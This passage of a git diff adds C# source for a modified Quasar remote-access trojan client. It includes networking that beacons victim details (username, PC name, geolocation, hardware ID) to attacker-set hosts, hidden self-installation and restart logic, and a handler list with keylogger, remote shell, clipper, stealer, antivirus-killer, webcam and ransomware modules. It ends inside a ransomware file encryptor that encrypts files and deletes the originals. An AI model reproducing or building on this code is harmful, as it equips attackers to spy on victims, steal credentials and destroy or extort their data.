ushort port) + { + Socket handle = null; + try + { + Disconnect(); + + handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); + handle.Connect(ip, port); + + if (handle.Connected) + { + _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + else + { + handle.Dispose(); + } + } + catch (Exception ex) + { + handle?.Dispose(); + OnClientFail(ex); + } + } + + /// + /// Validates the server certificate by comparing it with the included server certificate. + /// + /// The sender of the callback. + /// The server certificate to validate. + /// The X.509 chain. + /// The SSL policy errors. + /// Returns true when the validation was successful, otherwise false. + private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + // for debugging don't validate server certificate + return true; +#else + var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key; + // compare the received server certificate with the included server certificate to validate we are connected to the correct server + return _serverCertificate.Equals(certificate); +#endif + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception ex) + { + OnClientFail(ex); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception ex) + { + OnClientFail(ex); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HEADER_SIZE]; + + if (_readableDataLen + _writeOffset >= HEADER_SIZE) + { + // completely received header + int headerLength = HEADER_SIZE - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE) + Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HEADER_SIZE) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HEADER_SIZE == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected server. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected server. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server, disconnect all proxies that + /// are held by this client, and dispose of other resources associated + /// with this client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect + + if (_proxyClients != null) + { + lock (_proxyClientsLock) + { + try + { + foreach (ReverseProxyClient proxy in _proxyClients) + proxy.Disconnect(); + } + catch (Exception) + { + } + } + } + } + + OnClientState(false); + } + + public void ConnectReverseProxy(ReverseProxyConnect command) + { + lock (_proxyClientsLock) + { + _proxyClients.Add(new ReverseProxyClient(command, this)); + } + } + + public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId) + { + lock (_proxyClientsLock) + { + return _proxyClients.FirstOrDefault(t => t.ConnectionId == connectionId); + } + } + + public void RemoveProxyClient(int connectionId) + { + try + { + lock (_proxyClientsLock) + { + for (int i = 0; i < _proxyClients.Count; i++) + { + if (_proxyClients[i].ConnectionId == connectionId) + { + _proxyClients.RemoveAt(i); + break; + } + } + } + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs b/Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs new file mode 100755 index 0000000..552df2b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs @@ -0,0 +1,176 @@ +using Quasar.Client.Config; +using Quasar.Client.Helper; +using Quasar.Client.IO; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Utilities; +using System; +using System.Diagnostics; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class QuasarClient : Client, IDisposable + { + /// + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// The hosts manager which contains the available hosts to connect to. + /// + private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// + private readonly SafeRandom _random; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. + public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) + { + this._hosts = hostsManager; + this._random = new SafeRandom(); + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + base.ClientFail += OnClientFail; + this._tokenSource = new CancellationTokenSource(); + this._token = _tokenSource.Token; + } + + /// + /// Connection loop used to reconnect and keep the connection open. + /// + public void ConnectLoop() + { + // TODO: do not re-use object + while (!_token.IsCancellationRequested) + { + if (!Connected) + { + Host host = _hosts.GetNextHost(); + + base.Connect(host.IpAddress, host.Port); + } + + while (Connected) // hold client open + { + try + { + _token.WaitHandle.WaitOne(1000); + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + Disconnect(); + return; + } + } + + if (_token.IsCancellationRequested) + { + Disconnect(); + return; + } + + Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750)); + } + } + + private void OnClientRead(Client client, IMessage message, int messageLength) + { + if (!_identified) + { + if (message.GetType() == typeof(ClientIdentificationResult)) + { + var reply = (ClientIdentificationResult) message; + _identified = reply.Result; + } + return; + } + + MessageHandler.Process(client, message); + } + + private void OnClientFail(Client client, Exception ex) + { + Debug.WriteLine("Client Fail - Exception Message: " + ex.Message); + client.Disconnect(); + } + + private void OnClientState(Client client, bool connected) + { + _identified = false; // always reset identification + + if (connected) + { + // send client identification once connected + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + client.Send(new ClientIdentification + { + Version = Settings.VERSION, + OperatingSystem = PlatformHelper.FullName, + AccountType = userAccount.Type.ToString(), + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, + PcName = SystemHelper.GetPcName(), + Tag = Settings.TAG, + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) + }); + } + } + + /// + /// Stops the connection loop and disconnects the connection. + /// + public void Exit() + { + _tokenSource.Cancel(); + Disconnect(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs b/Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs new file mode 100755 index 0000000..e2fe29b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs @@ -0,0 +1,87 @@ +using Quasar.Common.Video; +using System; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Client.Networking +{ + /// + /// Sends frame data over UDP to the server, fragmenting into MTU-safe chunks. + /// Compresses the payload with Deflate before fragmenting. + /// + public class UdpFrameSender : IDisposable + { + private UdpClient _udp; + private IPEndPoint _serverEndPoint; + private uint _frameId = 0; + private bool _disposed; + + public bool IsConnected { get; private set; } + + public UdpFrameSender(string serverHost, int serverPort) + { + try + { + _serverEndPoint = new IPEndPoint(Dns.GetHostAddresses(serverHost)[0], serverPort); + _udp = new UdpClient(); + _udp.Client.SendBufferSize = 1024 * 512; + // "Connect" so we can use Send() instead of SendTo() + _udp.Connect(_serverEndPoint); + IsConnected = true; + } + catch + { + IsConnected = false; + } + } + + /// + /// Sends a frame payload. Compresses, fragments, and fires each chunk as a UDP datagram. + /// + /// Raw codec output bytes. + /// True if this is a full/key frame. + public void SendFrame(byte[] frameData, bool isKeyFrame) + { + if (!IsConnected || _disposed) return; + + try + { + // Compress + byte[] compressed = UdpFrameProtocol.Compress(frameData); + + ushort flags = UdpFrameProtocol.FlagCompressed; + if (isKeyFrame) flags |= UdpFrameProtocol.FlagKeyFrame; + + uint frameId = _frameId++; + + // Fragment + int totalBytes = compressed.Length; + int chunkCount = (totalBytes + UdpFrameProtocol.MaxPayloadSize - 1) / UdpFrameProtocol.MaxPayloadSize; + if (chunkCount > ushort.MaxValue) return; // frame too large, skip + + ushort totalChunks = (ushort)chunkCount; + + for (ushort i = 0; i < totalChunks; i++) + { + int offset = i * UdpFrameProtocol.MaxPayloadSize; + int length = Math.Min(UdpFrameProtocol.MaxPayloadSize, totalBytes - offset); + + byte[] packet = UdpFrameProtocol.BuildPacket(frameId, i, totalChunks, flags, compressed, offset, length); + _udp.Send(packet, packet.Length); + } + } + catch + { + IsConnected = false; + } + } + + public void Dispose() + { + _disposed = true; + IsConnected = false; + try { _udp?.Close(); } catch { } + _udp = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Program.cs b/Quasar-1.4.1/Quasar.Client/Program.cs new file mode 100755 index 0000000..e2c1731 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Program.cs @@ -0,0 +1,91 @@ +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + internal static class Program + { + [STAThread] + private static void Main(string[] args) + { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + // Add the event handler for handling UI thread exceptions + Application.ThreadException += HandleThreadException; + + // Add the event handler for handling non-UI thread exceptions + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new QuasarApplication()); + } + + private static void HandleThreadException(object sender, ThreadExceptionEventArgs e) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..68d5e1d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("Quasar Client")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Client.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs b/Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs new file mode 100755 index 0000000..8a20f78 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Client.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Resources.resx b/Quasar-1.4.1/Quasar.Client/Properties/Resources.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs b/Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs new file mode 100755 index 0000000..b4ca5f2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Client.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Settings.settings b/Quasar-1.4.1/Quasar.Client/Properties/Settings.settings new file mode 100755 index 0000000..3964565 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj b/Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj new file mode 100755 index 0000000..a4e6303 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj @@ -0,0 +1,77 @@ + + + net461 + WinExe + Client + true + false + AnyCPU + 10.0 + true + + + ..\bin\Debug\ + true + portable + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + + + Quasar.Client.Program + + + app.manifest + + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + 2.0.18.2 + + + 5.6.0 + + + + 2.4.8 + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/QuasarApplication.cs b/Quasar-1.4.1/Quasar.Client/QuasarApplication.cs new file mode 100755 index 0000000..c96d5c2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/QuasarApplication.cs @@ -0,0 +1,266 @@ +using Quasar.Client.Config; +using Quasar.Client.Logging; +using Quasar.Client.Messages; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Reflection; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class QuasarApplication : Form + { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// + public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// + private QuasarClient _connectClient; + + /// + /// List of to keep track of all used message processors. + /// + private readonly List _messageProcessors; + + + /// + /// The background keylogger service used to capture and store keystrokes. + /// + private KeyloggerService _keyloggerService; + + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + + /// + /// Initializes a new instance of the class. + /// + public QuasarApplication() + { + _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Initializes the notification icon. + /// + private void InitializeNotifyicon() + { + _notifyIcon.Text = "Quasar Client\nNo connection"; + _notifyIcon.Visible = true; + try + { + _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + _notifyIcon.Icon = SystemIcons.Application; + } + } + + /// + /// Begins running the application. + /// + public void Run() + { + // decrypt and verify the settings + if (!Settings.Initialize()) + Environment.Exit(1); + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) + Environment.Exit(2); + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + + try + { + installer.Install(); + Environment.Exit(3); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + + if (!Settings.UNATTENDEDMODE) + { + InitializeNotifyicon(); + } + + if (Settings.ENABLELOGGER) + { + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } + + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + + _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + _connectClient.ClientState += ConnectClientOnClientState; + + InitializeMessageProcessors(_connectClient); + + _userActivityDetection = new ActivityDetection(_connectClient); + _userActivityDetection.Start(); + + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Environment.Exit(0); + }).Start(); + } + } + + private void ConnectClientOnClientState(Networking.Client s, bool connected) + { + if (connected) + _notifyIcon.Text = "Quasar Client\nConnection established"; + else + _notifyIcon.Text = "Quasar Client\nNo connection"; + } + + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. + /// Always initialize from UI thread. + private void InitializeMessageProcessors(QuasarClient client) + { + _messageProcessors.Add(new ClientServicesHandler(this, client)); + _messageProcessors.Add(new FileManagerHandler(client)); + _messageProcessors.Add(new KeyloggerHandler()); + _messageProcessors.Add(new MessageBoxHandler()); + _messageProcessors.Add(new RegistryHandler()); + _messageProcessors.Add(new RemoteDesktopHandler()); + _messageProcessors.Add(new RemoteShellHandler(client)); + _messageProcessors.Add(new ReverseProxyHandler(client)); + _messageProcessors.Add(new ShutdownHandler()); + _messageProcessors.Add(new StartupManagerHandler()); + _messageProcessors.Add(new SystemInformationHandler()); + _messageProcessors.Add(new TaskManagerHandler(client)); + _messageProcessors.Add(new TcpConnectionsHandler()); + _messageProcessors.Add(new WebsiteVisitorHandler()); + _messageProcessors.Add(new ClipperHandler()); + _messageProcessors.Add(new IntelixStealerHandler()); + _messageProcessors.Add(new SurvivalHandler()); + _messageProcessors.Add(new AVKillerHandler()); + _messageProcessors.Add(new AutoTaskHandler()); + _messageProcessors.Add(new LiveKeyloggerHandler()); + _messageProcessors.Add(new BotKillerHandler()); + _messageProcessors.Add(new RansomwareHandler()); + _messageProcessors.Add(new SystemOptionHandler()); + _messageProcessors.Add(new ActiveWindowHandler()); + _messageProcessors.Add(new WebcamHandler()); + + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Register(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged += ShowNotification; + } + } + + /// + /// Disposes all message processors of and unregisters them from the . + /// + private void CleanupMessageProcessors() + { + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Unregister(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged -= ShowNotification; + if (msgProc is IDisposable disposableMsgProc) + disposableMsgProc.Dispose(); + } + } + + private void ShowNotification(object sender, string value) + { + if (Settings.UNATTENDEDMODE) + return; + + _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); + } + base.Dispose(disposing); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs b/Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs new file mode 100755 index 0000000..9644358 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs @@ -0,0 +1,148 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Client.Ransomware +{ + public class FileEncryptor + { + private const int BUFFER_SIZE = 1024 * 1024; // 1MB buffer + private const string KEY_SIGNATURE = "QKEY"; // 4-byte signature to verify key + + public static void EncryptFile(string filePath, string password, string newExtension) + { + try + { + byte[] fileBytes = File.ReadAllBytes(filePath); + byte[] encryptedBytes = EncryptBytes(fileBytes, password); + + // Add key signature at the beginning + byte[] signatureBytes = Encoding.ASCII.GetBytes(KEY_SIGNATURE); + byte[] finalBytes = new byte[signatureBytes.Length + encryptedBytes.Length]; + Buffer.BlockCopy(signatureBytes, 0, finalBytes, 0, signatureBytes.Length); + Buffer.BlockCopy(encryptedBytes, 0, finalBytes, signatureBytes.Length, encryptedBytes.Length); + + string encryptedPath = filePath + newExtension; + File.WriteAllBytes(encryptedPath, finalBytes); + File.Delete(filePath); + } + catch + { + // Silently fail - don't crash on individual file errors + } + } + + public static bool DecryptFile(string filePath, string password, string extensionToRemove) + { + try + { + if (!filePath.EndsWith(extensionToRemove)) + return false; + + byte[] fileBytes = File.ReadAllBytes(filePath); + + // Verify signature + if (fileBytes.Length < 4) + return false; + + byte[] signatureBytes = new byte[4]; + Buffer.BlockCopy(fileBytes, 0, signatureBytes, 0, 4); + string signature = Encoding.ASCII.GetString(signatureBytes); + + if (signature != KEY_SIGNATURE) + return false; + + // Extract encrypted data (skip signature) + byte[] encryptedBytes = new byte[fileBytes.Length - 4]; + Buffer.BlockCopy(fileBytes, 4, encryptedBytes, 0, encryptedBytes.Length); + + // Try to decrypt + byte[] decryptedBytes = DecryptBytes(encryptedBytes, password); + + string decryptedPath = filePath.Substring(0, filePath.Length - 